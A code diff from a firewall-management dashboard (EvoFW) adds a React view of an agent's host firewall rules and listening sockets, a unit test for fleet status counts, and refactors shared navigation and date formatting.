* Observed host firewall + listeners (Linux).
* Preview: https://reui.io/preview/base/data-grid-filtering-2
* · https://reui.io/preview/base/empty-state-12
*/
type AgentHostFirewallProps = {
agentId: string
}
export function AgentHostFirewall({ agentId }: AgentHostFirewallProps) {
const q = useQuery(agentHostFirewallQueryOptions(agentId))
const [tab, setTab] = useState('rules')
const [ownership, setOwnership] = useState<'all' | 'evofw' | 'foreign'>('all')
const [backend, setBackend] = useState<string>('all')
const rules = useMemo(() => {
let items = q.data?.rules ?? []
if (ownership !== 'all') {
items = items.filter((r) => r.ownership === ownership)
}
if (backend !== 'all') {
items = items.filter((r) => r.backend === backend)
}
return items
}, [q.data?.rules, ownership, backend])
const listeners = q.data?.listeners ?? []
const backends = useMemo(() => {
const s = new Set((q.data?.rules ?? []).map((r) => r.backend))
return Array.from(s).sort()
}, [q.data?.rules])
const ruleCols = useMemo<ColumnDef<HostFwRuleDto>[]>(
() => [
{
id: 'ownership',
accessorKey: 'ownership',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Owner" />
),
cell: ({ row }) =>
row.original.ownership === 'evofw' ? (
<Badge variant="success" size="sm">
EvoFW
</Badge>
) : (
<Badge variant="secondary" size="sm">
foreign
</Badge>
),
meta: { headerTitle: 'Owner' },
},
{
accessorKey: 'backend',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Backend" />
),
cell: ({ row }) => (
<span className="font-mono text-xs">{row.original.backend}</span>
),
},
{
id: 'chain',
accessorFn: (r) => r.chain || r.table || '—',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Chain" />
),
cell: ({ row }) => (
<span className="font-mono text-muted-foreground text-xs">
{row.original.chain || row.original.table || '—'}
</span>
),
},
{
accessorKey: 'action',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Action" />
),
cell: ({ row }) => (
<span className="text-xs">{row.original.action || '—'}</span>
),
},
{
id: 'ports',
accessorFn: (r) =>
[r.protocol, r.dport].filter(Boolean).join('/') || '—',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Proto/Port" />
),
cell: ({ row }) => (
<span className="font-mono text-xs tabular-nums">
{[row.original.protocol, row.original.dport]
.filter(Boolean)
.join('/') || '—'}
</span>
),
},
{
accessorKey: 'saddr',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Src" />
),
cell: ({ row }) => (
<span className="font-mono text-xs">
{row.original.saddr || '—'}
</span>
),
},
{
accessorKey: 'raw',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Raw" />
),
cell: ({ row }) => (
<span
className="text-muted-foreground block max-w-[280px] truncate font-mono text-[11px]"
title={row.original.raw}
>
{row.original.raw}
</span>
),
},
],
[],
)
const listenerCols = useMemo<ColumnDef<HostListenerDto>[]>(
() => [
{
accessorKey: 'protocol',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Proto" />
),
cell: ({ row }) => (
<span className="font-mono text-xs uppercase">
{row.original.protocol}
</span>
),
},
{
accessorKey: 'port',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Port" />
),
cell: ({ row }) => (
<span className="font-mono text-xs tabular-nums">
{row.original.port}
</span>
),
},
{
accessorKey: 'address',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Address" />
),
cell: ({ row }) => (
<span className="font-mono text-xs">{row.original.address}</span>
),
},
{
accessorKey: 'process',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Process" />
),
cell: ({ row }) => (
<span className="text-muted-foreground text-xs">
{row.original.process || '—'}
</span>
),
},
],
[],
)
const rulesTable = useReactTable({
data: rules,
columns: ruleCols,
getCoreRowModel: getCoreRowModel(),
getRowId: (r, i) => `${r.backend}-${r.chain}-${i}-${r.raw.slice(0, 40)}`,
})
const listenersTable = useReactTable({
data: listeners,
columns: listenerCols,
getCoreRowModel: getCoreRowModel(),
getRowId: (r, i) => `${r.protocol}-${r.address}-${r.port}-${i}`,
})
return (
<Frame dense spacing="sm">
<FrameHeader>
<FrameTitle>Host firewall</FrameTitle>
<FrameDescription>
Снимок nft/iptables/ufw/firewalld + listeners. EvoFW vs foreign.
{q.data?.collected_at
? ` Обновлено: ${formatDateTime(q.data.collected_at)}`
: ' Пока нет снимка — дождитесь sync агента.'}
</FrameDescription>
</FrameHeader>
<FramePanel className="flex flex-col gap-3 p-4">
<CountedLineTabs
value={tab}
onValueChange={setTab}
tabs={[
{ id: 'rules', label: 'Rules', count: rules.length },
{ id: 'listeners', label: 'Listeners', count: listeners.length },
]}
>
<TabsContent value="rules" className="mt-3 flex flex-col gap-3">
<div className="flex flex-wrap gap-2">
<Select
value={ownership}
onValueChange={(v) => {
if (v) setOwnership(v as typeof ownership)
}}
>
<SelectTrigger className="w-[140px]">
<SelectValue placeholder="Owner" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All owners</SelectItem>
<SelectItem value="evofw">EvoFW</SelectItem>
<SelectItem value="foreign">Foreign</SelectItem>
</SelectContent>
</Select>
<Select
value={backend}
onValueChange={(v) => {
if (v) setBackend(v)
}}
>
<SelectTrigger className="w-[140px]">
<SelectValue placeholder="Backend" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All backends</SelectItem>
{backends.map((b) => (
<SelectItem key={b} value={b}>
{b}
</SelectItem>
))}
</SelectContent>
</Select>
</div>
{q.isLoading ? (
<div className="flex flex-col gap-2">
<Skeleton className="h-8 w-full" />
<Skeleton className="h-8 w-full" />
</div>
) : rules.length === 0 ? (
<EmptyState
icon={ShieldIcon}
title="Нет правил в снимке"
description="После sync Linux-агент пришлёт host_firewall."
centered={false}
className="py-6"
/>
) : (
<DataGrid
table={rulesTable}
recordCount={rules.length}
tableLayout={{ dense: true }}
>
<DataGridTable />
</DataGrid>
)}
</TabsContent>
<TabsContent value="listeners" className="mt-3">
{q.isLoading ? (
<Skeleton className="h-8 w-full" />
) : listeners.length === 0 ? (
<EmptyState
icon={ShieldIcon}
title="Нет listeners"
description="ss -lntu не вернул сокеты или снимок пуст."
centered={false}
className="py-6"
/>
) : (
<DataGrid
table={listenersTable}
recordCount={listeners.length}
tableLayout={{ dense: true }}
>
<DataGridTable />
</DataGrid>
)}
</TabsContent>
</CountedLineTabs>
</FramePanel>
</Frame>
)
}
@@ -16,6 +16,7 @@ import {
FramePanel, FramePanel,
FrameTitle, FrameTitle,
} from '@/components/reui/frame' } from '@/components/reui/frame'
import { formatDateTime } from '@/lib/format'
/** /**
* Agent lifecycle timeline. * Agent lifecycle timeline.
@@ -32,9 +33,7 @@ type Step = {
function formatWhen(iso?: string | null): string | undefined { function formatWhen(iso?: string | null): string | undefined {
if (!iso) return undefined if (!iso) return undefined
const d = new Date(iso) return formatDateTime(iso)
if (Number.isNaN(d.getTime())) return iso
return d.toLocaleString('ru-RU')
} }
export function AgentLifecycleTimeline({ agent }: { agent: Agent }) { export function AgentLifecycleTimeline({ agent }: { agent: Agent }) {
@@ -1,6 +1,6 @@
import { Router, Terminal } from 'lucide-react' import { Router, Terminal } from 'lucide-react'
import { cn } from '@evofw/ui/lib/utils' import { cn } from '@evofw/ui/lib/utils'
import { Item, ItemMedia } from '@evofw/ui/components/item' import { IconTile } from '@/components/reui/icon-tile'
type AgentPlatformIconProps = { type AgentPlatformIconProps = {
platform: string platform: string
@@ -9,7 +9,8 @@ type AgentPlatformIconProps = {
/** /**
* KPI-style platform tile for agent rows. * KPI-style platform tile for agent rows.
* Preview DNA: https://reui.io/preview/base/stats-12 · settings-14 * Preview DNA: https://reui.io/preview/base/stats-12
* Primitive: https://reui.io/docs/components/base/icon-tile
*/ */
export function AgentPlatformIcon({ export function AgentPlatformIcon({
platform, platform,
@@ -18,18 +19,17 @@ export function AgentPlatformIcon({
const isMt = platform === 'mikrotik' const isMt = platform === 'mikrotik'
const Icon = isMt ? Router : Terminal const Icon = isMt ? Router : Terminal
return ( return (
<Item <IconTile
variant="elevated"
aria-label={isMt ? 'MikroTik' : 'Linux'}
className={cn( className={cn(
'border-background bg-muted flex size-10.5 shrink-0 items-center justify-center border-2 p-0 shadow-[0_1px_3px_0_rgba(0,0,0,0.14)] dark:border [&_svg]:size-4', 'size-10.5',
isMt ? 'text-info' : 'text-muted-foreground', isMt ? 'text-info' : 'text-muted-foreground',
className, className,
)} )}
aria-label={isMt ? 'MikroTik' : 'Linux'}
> >
<ItemMedia variant="icon" className="size-auto"> <Icon aria-hidden />
<Icon aria-hidden /> </IconTile>
</ItemMedia>
</Item>
) )
} }
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,82 @@
import { describe, it, expect } from 'vitest'
import { isAgentStale, computeFleetCounts } from './agents-fleet-kpis'
import type { Agent } from '@evofw/shared'
function agent(patch: Partial<Agent>): Agent {
return {
id: 'a1',
name: 'a',
hostname: null,
platform: 'linux',
token_prefix: 'x',
status: 'approved',
default_action: 'accept',
policy_mode: 'blacklist',
policy_generation: 1,
last_seen_at: null,
last_seen_ip: null,
last_apply_at: null,
last_apply_status: null,
last_apply_error: null,
last_apply_prefix_count: null,
last_apply_packets_dropped: null,
last_apply_packets_accepted: null,
total_packets_dropped: 0,
total_packets_accepted: 0,
last_apply_kernel_method: null,
client_version: null,
created_at: '2026-01-01T00:00:00Z',
approved_at: null,
revoked_at: null,
install_curl: null,
install_link_id: null,
...patch,
} as Agent
}
describe('agents-fleet-kpis', () => {
it('stale = approved + unseen or seen >24h ago; never for pending', () => {
const now = Date.parse('2026-09-20T12:00:00Z')
expect(isAgentStale(agent({ last_seen_at: null }), now)).toBe(true)
expect(
isAgentStale(agent({ last_seen_at: '2026-09-20T11:00:00Z' }), now),
).toBe(false)
expect(
isAgentStale(agent({ last_seen_at: '2026-09-19T11:00:00Z' }), now),
).toBe(true)
expect(
isAgentStale(
agent({ status: 'pending', last_seen_at: null }),
now,
),
).toBe(false)
expect(
isAgentStale(agent({ last_seen_at: 'garbage' }), now),
).toBe(true)
})
it('computeFleetCounts tallies statuses, stale and apply errors', () => {
const now = Date.now()
const counts = computeFleetCounts([
agent({ id: '1', status: 'pending' }),
agent({ id: '2', status: 'invited' }),
agent({ id: '3', status: 'revoked' }),
agent({ id: '4', last_seen_at: new Date(now).toISOString() }),
agent({
id: '5',
last_seen_at: new Date(now - 25 * 3600_000).toISOString(),
}),
agent({
id: '6',
last_seen_at: new Date(now).toISOString(),
last_apply_error: 'boom',
}),
])
expect(counts.pending).toBe(1)
expect(counts.invited).toBe(1)
expect(counts.revoked).toBe(1)
expect(counts.approved).toBe(3)
expect(counts.stale).toBe(1)
expect(counts.applyErrors).toBe(1)
})
})
+13 -34
View File
@@ -1,14 +1,7 @@
import { Link, useRouterState } from '@tanstack/react-router' import { Link, useRouterState } from '@tanstack/react-router'
import {
LayoutDashboardIcon,
ServerIcon,
ListIcon,
ShieldIcon,
BarChart3Icon,
SettingsIcon,
} from 'lucide-react'
import { AppSwitcher } from '@/components/app-switcher' import { AppSwitcher } from '@/components/app-switcher'
import { NavUser } from '@/components/layout/nav-user' import { NavUser } from '@/components/layout/nav-user'
import { NAV_SECTIONS, navItemsForSection, type NavItem } from '@/lib/nav'
import { import {
Sidebar, Sidebar,
SidebarContent, SidebarContent,
@@ -22,22 +15,7 @@ import {
SidebarMenuItem, SidebarMenuItem,
} from '@evofw/ui/components/sidebar' } from '@evofw/ui/components/sidebar'
const overviewNav = [ function isNavActive(pathname: string, to: string, exact?: boolean) {
{ to: '/', label: 'Панель управления', icon: LayoutDashboardIcon, exact: true },
] as const
const opsNav = [
{ to: '/agents', label: 'Агенты', icon: ServerIcon, exact: false },
{ to: '/lists', label: 'Списки', icon: ListIcon, exact: false },
{ to: '/rules', label: 'Наборы правил', icon: ShieldIcon, exact: false },
{ to: '/stats', label: 'Статистика', icon: BarChart3Icon, exact: false },
] as const
const systemNav = [
{ to: '/settings', label: 'Настройки', icon: SettingsIcon, exact: false },
] as const
function isNavActive(pathname: string, to: string, exact: boolean) {
if (exact) return pathname === to if (exact) return pathname === to
return pathname === to || pathname.startsWith(`${to}/`) return pathname === to || pathname.startsWith(`${to}/`)
} }
@@ -48,12 +26,7 @@ function NavSection({
pathname, pathname,
}: { }: {
label: string label: string
items: readonly { items: readonly NavItem[]
to: string
label: string
icon: typeof ServerIcon
exact: boolean
}[]
pathname: string pathname: string
}) { }) {
return ( return (
@@ -90,12 +63,18 @@ export function AppSidebar() {
<AppSwitcher /> <AppSwitcher />
</SidebarHeader> </SidebarHeader>
<SidebarContent> <SidebarContent>
<NavSection label="Обзор" items={overviewNav} pathname={pathname} /> {NAV_SECTIONS.map((section) => (
<NavSection label="Операции" items={opsNav} pathname={pathname} /> <NavSection
<NavSection label="Система" items={systemNav} pathname={pathname} /> key={section.id}
label={section.label}
items={navItemsForSection(section.id)}
pathname={pathname}
/>
))}
</SidebarContent> </SidebarContent>
<SidebarFooter> <SidebarFooter>
<NavUser /> <NavUser />
</SidebarFooter> </Sidebar> </SidebarFooter>
</Sidebar>
) )
} }
+2 -2
View File
@@ -27,8 +27,8 @@ interface EmptyStateProps {
} }
/** /**
* ReUI Empty + IconStack — adapted from empty-state-12. * ReUI Empty + IconStack — Frame-friendly empty-state-14 / empty-state-12.
* @see https://reui.io/preview/base/empty-state-12 * Preview: https://reui.io/preview/base/empty-state-14 · https://reui.io/preview/base/empty-state-12
*/ */
export function EmptyState({ export function EmptyState({
icon: Icon = InboxIcon, icon: Icon = InboxIcon,
+7 -3
View File
@@ -4,6 +4,7 @@ import { SiteHeader } from '@/components/layout/site-header'
import { SearchMenu } from '@/components/layout/search-menu' import { SearchMenu } from '@/components/layout/search-menu'
import { TooltipProvider } from '@evofw/ui/components/tooltip' import { TooltipProvider } from '@evofw/ui/components/tooltip'
import { SidebarInset, SidebarProvider } from '@evofw/ui/components/sidebar' import { SidebarInset, SidebarProvider } from '@evofw/ui/components/sidebar'
import { SKIP_TO_CONTENT_CLASS } from '@/lib/ui-surface'
/** Shared ops chrome — etalon EvoBGP. @see docs/ui-design-contract.md */ /** Shared ops chrome — etalon EvoBGP. @see docs/ui-design-contract.md */
export function AppShell({ children }: { children: ReactNode }) { export function AppShell({ children }: { children: ReactNode }) {
@@ -16,12 +17,15 @@ export function AppShell({ children }: { children: ReactNode }) {
} as CSSProperties } as CSSProperties
} }
> >
<a href="#main-content" className={SKIP_TO_CONTENT_CLASS}>
К содержимому
</a>
<AppSidebar /> <AppSidebar />
<SidebarInset> <SidebarInset id="main-content">
<SiteHeader /> <SiteHeader />
<main className="flex flex-1 flex-col gap-4 px-4 py-4 md:gap-6 md:px-6 md:py-5"> <div className="flex flex-1 flex-col gap-4 px-4 py-4 md:gap-6 md:px-6 md:py-5">
{children} {children}
</main> </div>
</SidebarInset> </SidebarInset>
<SearchMenu hotkeyOnly /> <SearchMenu hotkeyOnly />
</SidebarProvider> </SidebarProvider>
+2 -48
View File
@@ -1,14 +1,7 @@
import { useEffect, useId, useMemo, useState } from 'react' import { useEffect, useId, useMemo, useState } from 'react'
import { Link, useNavigate } from '@tanstack/react-router' import { Link, useNavigate } from '@tanstack/react-router'
import { import { SearchIcon } from 'lucide-react'
BarChart3Icon, import { NAV_ITEMS } from '@/lib/nav'
LayoutDashboardIcon,
ListIcon,
SearchIcon,
ServerIcon,
SettingsIcon,
ShieldIcon,
} from 'lucide-react'
import { Button } from '@evofw/ui/components/button' import { Button } from '@evofw/ui/components/button'
import { import {
Dialog, Dialog,
@@ -26,45 +19,6 @@ import {
ItemTitle, ItemTitle,
} from '@evofw/ui/components/item' } from '@evofw/ui/components/item'
const NAV_ITEMS = [
{
to: '/',
label: 'Панель управления',
keywords: ['dashboard', 'панель', 'обзор'],
icon: LayoutDashboardIcon,
},
{
to: '/agents',
label: 'Агенты',
keywords: ['agents', 'агенты', 'nodes'],
icon: ServerIcon,
},
{
to: '/lists',
label: 'Списки IP',
keywords: ['lists', 'списки', 'blocklist'],
icon: ListIcon,
},
{
to: '/rules',
label: 'Наборы правил',
keywords: ['rules', 'правила', 'policy', 'наборы', 'sets'],
icon: ShieldIcon,
},
{
to: '/stats',
label: 'Статистика',
keywords: ['stats', 'статистика', 'packets'],
icon: BarChart3Icon,
},
{
to: '/settings',
label: 'Настройки',
keywords: ['settings', 'настройки'],
icon: SettingsIcon,
},
] as const
/** Command-K search — hotkey dialog (no header chrome trigger). */ /** Command-K search — hotkey dialog (no header chrome trigger). */
export function SearchMenu({ hotkeyOnly = false }: { hotkeyOnly?: boolean }) { export function SearchMenu({ hotkeyOnly = false }: { hotkeyOnly?: boolean }) {
const [open, setOpen] = useState(false) const [open, setOpen] = useState(false)
+15 -29
View File
@@ -12,55 +12,41 @@ import { Separator } from '@evofw/ui/components/separator'
import { SystemMonitorPopover } from '@/components/layout/system-monitor-popover' import { SystemMonitorPopover } from '@/components/layout/system-monitor-popover'
import { AppsMenu } from '@/components/layout/apps-menu' import { AppsMenu } from '@/components/layout/apps-menu'
import { SidebarTrigger } from '@evofw/ui/components/sidebar' import { SidebarTrigger } from '@evofw/ui/components/sidebar'
import { navLabel, navParentForDetail } from '@/lib/nav'
export interface RouteBreadcrumbLoaderData { export interface RouteBreadcrumbLoaderData {
breadcrumb?: string breadcrumb?: string
} }
const routeTitles: Record<string, string> = {
'/': 'Панель управления',
'/agents': 'Агенты',
'/lists': 'Списки',
'/rules': 'Наборы правил',
'/stats': 'Статистика',
'/settings': 'Настройки',
}
function getBreadcrumbs( function getBreadcrumbs(
pathname: string, pathname: string,
dynamicLabels: Record<string, string>, dynamicLabels: Record<string, string>,
) { ) {
if (pathname === '/') { if (pathname === '/') {
return [{ label: 'Панель управления', href: '/' }] return [{ label: navLabel('/') ?? 'Панель управления', href: '/' }]
} }
if (pathname.match(/^\/agents\/[^/]+$/)) { const parentTo = navParentForDetail(pathname)
if (parentTo) {
const parentLabel = navLabel(parentTo)
const fallback =
parentTo === '/agents'
? 'Агент'
: parentTo === '/lists'
? 'Список'
: 'Набор'
return [ return [
{ label: 'Агенты', href: '/agents' }, { label: parentLabel ?? parentTo, href: parentTo },
{ label: dynamicLabels[pathname] ?? 'Агент', href: pathname }, { label: dynamicLabels[pathname] ?? fallback, href: pathname },
] ]
} }
if (pathname.match(/^\/rules\/[^/]+$/)) { const title = navLabel(pathname)
return [
{ label: 'Наборы правил', href: '/rules' },
{ label: dynamicLabels[pathname] ?? 'Набор', href: pathname },
]
}
if (pathname.match(/^\/lists\/[^/]+$/)) {
return [
{ label: 'Списки', href: '/lists' },
{ label: dynamicLabels[pathname] ?? 'Список', href: pathname },
]
}
const title = routeTitles[pathname]
if (title) { if (title) {
return [{ label: title, href: pathname }] return [{ label: title, href: pathname }]
} }
return [{ label: 'Панель управления', href: '/' }] return [{ label: navLabel('/') ?? 'Панель управления', href: '/' }]
} }
function useDynamicBreadcrumbLabels() { function useDynamicBreadcrumbLabels() {
@@ -1,6 +1,7 @@
import { useMemo, type CSSProperties, type ReactNode } from 'react' import { useMemo, type CSSProperties, type ReactNode } from 'react'
import { useQuery } from '@tanstack/react-query' import { useQuery } from '@tanstack/react-query'
import { Activity, HeartPulse, List, Server, Shield } from 'lucide-react' import { Activity, HeartPulse, List, Server, Shield } from 'lucide-react'
import { formatTime } from '@/lib/format'
import { Badge } from '@/components/reui/badge' import { Badge } from '@/components/reui/badge'
import { cn } from '@evofw/ui/lib/utils' import { cn } from '@evofw/ui/lib/utils'
@@ -201,7 +202,7 @@ export function SystemMonitorPopover() {
Монитор EvoFirewall Монитор EvoFirewall
</span> </span>
<span className="text-muted-foreground text-[11px] tabular-nums"> <span className="text-muted-foreground text-[11px] tabular-nums">
{new Date().toLocaleTimeString('ru-RU')} {formatTime(new Date())}
</span> </span>
</div> </div>
<div className="grid grid-cols-2"> <div className="grid grid-cols-2">
Loaded 100 of 173 files, more files were not shown because too many files have changed in this diff. Show more